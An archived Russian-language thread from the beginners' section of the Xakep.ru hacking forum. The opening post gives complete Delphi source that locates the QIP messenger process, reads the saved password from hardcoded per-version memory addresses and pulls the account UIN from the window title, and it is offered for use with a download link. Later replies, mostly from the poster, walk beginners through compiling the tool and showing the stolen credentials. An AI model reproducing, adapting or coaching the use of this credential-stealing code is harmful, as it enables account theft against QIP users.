Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Вытаскиваем пароли из QIP

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Вытаскиваем пароли из QIP
Имя
Сообщение << Старые топики   Новые топики >>
Вытаскиваем пароли из QIP - 2008-02-26 18:32:32.023333   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
Вот нашёл такой исходник….
Program NewLife; Uses Windows, TLHelp32, SysUtils; type TQVer=(qipNULL, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; qip7981,qip7990,qip7995,qip7997,qip7998, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; qip8000,qip8010,qip8020);{Идентификаторы версий} const QVersions: array [TQVer] of cardinal = //адреса где каждая версия хранит свой пароль ( &nbsp; $00000000, // QIP other version &nbsp; $0068128C, // 7981 &nbsp; $006862B4, // 7990 &nbsp; $0068B2D0, // 7995 &nbsp; $006962EC, // 7997 &nbsp; $0069574C, // 7998 &nbsp; $006972EC, // 8000 &nbsp; $0069F580, // 8010 &nbsp; $0069F57C&nbsp; // 8020 ); //для квипа 8030 подходит адрес от 20-го function get_info(pid: dword; version: TQVer; var p: string): boolean; // функция получения пароля (пароль записывается в параметр P) var c: array [0..9] of char; &nbsp;&nbsp; hp,pt,t: dword; begin Result:=false; if version=qipNULL then exit; fillchar(c,10,0); // Открываем процесс для получения инфы hp:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, pid); if hp = 0 then exit; // Получаем адрес указателя на пароль ReadProcessMemory(hp, Pointer(QVersions[version]), @pt, 4, t); // Получаем пароль ReadProcessMemory(hp, pointer(pt), @c, 10, t); CloseHandle(hp); strlcopy(c,c,8); // Пароль макс 8 символов {Для уменьшения размера программы можно достать код StrLCopy из SysUtils и убрать SysUtils из uses} p:=c; Result:=true; end; var uin:array[0..127] of char; &nbsp;&nbsp; uins, ps:string; &nbsp;&nbsp; SH:Thandle; &nbsp;&nbsp; ppe:TProcessEntry32; begin SH:=CreateToolHelp32SnapShot(Th32cs_SnapAll,0); //получаем снимок системы, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // параметр в скобках, означает полную информацию PPE.dwSize:=sizeOf(ProcessEntry32); //перед использованием структуры &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //нужно в поле записать ее размер. Process32First(SH,PPE); //получаем первый процесс Repeat &nbsp;&nbsp;&nbsp; if CharLower(PPE.szExeFile)='qip.exe' then &nbsp;&nbsp;&nbsp; begin &nbsp;&nbsp;&nbsp;&nbsp; get_info(ppe.th32ProcessID, qip8020, ps); &nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp; GetModuleFileName(hProcID, path, MAX_PATH); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShowMessage(path); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ShowMessage(p);&nbsp;&nbsp; } // читаем уин из заголовка окна квипа &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetWindowText(FindwinDow('TMainForm', nil), uin, 128); // может работать некорректно, если открыто несколько копий квипа &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uins:=copy(uin,9, length(uin)); //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Writeln(uins+';'+ps); // можно вывести на экран &nbsp;&nbsp;&nbsp; end; Until not Process32Next(SH,PPE);//получаем в цикле остальные процессы &nbsp; CloseHandle(SH); //освобождаем ресурс - снимок состояния системы. // всё!!! переменныя uins содержит UIN, а ps содержит пароль // что делать с ними дальше решайте сами //readln; end.
Сам исходник здесь: http://slil.ru/25518092

Для тех кто не заметил: код на DELPHI

Пользуйтесь на здоровье
Post #: 1
RE: Вытаскиваем пароли из QIP - 2008-02-26 18:56:27.440000   
Tsipatila

Сообщений: 2
Оценки: 0
Присоединился: 2008-02-26 16:44:47.323333
этот исходник где порписывается, или на чем создается?
Post #: 2
RE: Вытаскиваем пароли из QIP - 2008-02-26 19:33:11.750000   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
Среда разработки Delphi 7
Post #: 3
RE: Вытаскиваем пароли из QIP - 2008-02-26 20:52:56.810000   
klose

Сообщений: 85
Оценки: 0
Присоединился: 2008-02-25 23:54:43.340000
а как с ним пользоваться?
Post #: 4
RE: Вытаскиваем пароли из QIP - 2008-02-26 20:58:55.410000   
Tsipatila

Сообщений: 2
Оценки: 0
Присоединился: 2008-02-26 16:44:47.323333
а дельфинчике, тогды спс, попробуем…
Post #: 5
RE: Вытаскиваем пароли из QIP - 2008-02-26 21:15:49.523333   
DEH

Сообщений: 195
Оценки: 0
Присоединился: 2007-01-13 22:27:31.370000
такое впечатление, что для тебя эта инвормация важна…
клос - тебе это надо?
если ты не знаешь как пользоваться, хоть что делать с ним шаришЬ? всм зачем? )
по сути - качаешь делфи (в сети искал блин кучу времени, хотел торенты..а там скорость ппц) создаешь проект. копируешь весь код. компилируешь (ф9). наслаждаешься)))
только код почитай сначала. я хз что он делает, а то потом с клубов писать будешь что я те машину сломал)))
Post #: 6
RE: Вытаскиваем пароли из QIP - 2008-02-27 12:33:10.850000   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
quote:

ORIGINAL: klose

а как с ним пользоваться?

Добавь к строке
"Program NewLife;
Uses Windows, TLHelp32, SysUtils;"
модуль "dialogs" должно получиться
"Program NewLife;
Uses Windows, TLHelp32, SysUtils, dialogs;"
 
потом найди строку
"// что делать с ними дальше решайте сами"
и напиши там
" showmessage(uin);
  showmessage(ps);"
жми F9 и радуйся
Post #: 7
RE: Вытаскиваем пароли из QIP - 2008-02-28 07:53:03.900000   
DeaDevil

Сообщений: 514
Оценки: 0
Присоединился: 2008-02-09 08:31:06.386666
klose, даже если ты скачаешь, откроешь и запустишь исходник, ты всеравно не узнаешь, что с этим делать, учи Delphi и будет тебя счастье! =)
Post #: 8
RE: Вытаскиваем пароли из QIP - 2008-02-28 18:14:46.156666   
Sairuss

Сообщений: 29
Оценки: 0
Присоединился: 2008-02-06 13:11:30.900000
ребята знаю делфи но у меня ничего не получается((((
Post #: 9
RE: Вытаскиваем пароли из QIP - 2008-02-28 18:18:11.350000   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
quote:

ORIGINAL: Sairuss

ребята знаю делфи но у меня ничего не получается((((

 
Давай свой код для вывода результата.
Post #: 10
RE: Вытаскиваем пароли из QIP - 2008-03-15 02:57:17.716666   
энк

Сообщений: 13
Оценки: 0
Присоединился: 2008-02-18 16:40:00.520000
а  так  нипонил   где  это  все  прописовать   в блокноте  штоли  и  с каким расширением  его  сохранять:)
Post #: 11
RE: Вытаскиваем пароли из QIP - 2008-03-15 12:30:55.520000   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
quote:

ORIGINAL: энк

а&nbsp; так&nbsp; нипонил&nbsp;&nbsp; где&nbsp; это&nbsp; все&nbsp; прописовать&nbsp;&nbsp; в блокноте&nbsp; штоли&nbsp; и&nbsp; с каким расширением&nbsp; его&nbsp; сохранять:)

 
завязывайя с *.bat и *.vbs и прочим…учи Delphi или C++…а лучше асму
 
Это код для Delphi
Post #: 12
RE: Вытаскиваем пароли из QIP - 2008-03-18 18:22:29.220000   
HUNTERPRO

Сообщений: 134
Оценки: 0
Присоединился: 2008-02-15 21:14:01.596666
вот же народ жжет! :D в 1ом посте ясно написанно

Для тех кто не заметил: код на DELPHI
Post #: 13
RE: Вытаскиваем пароли из QIP - 2008-03-18 18:23:01.146666   
HUNTERPRO

Сообщений: 134
Оценки: 0
Присоединился: 2008-02-15 21:14:01.596666
модератору +1
Post #: 14
Страниц:  [1]
Все форумы >> [Для начинающих] >> Вытаскиваем пароли из QIP







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.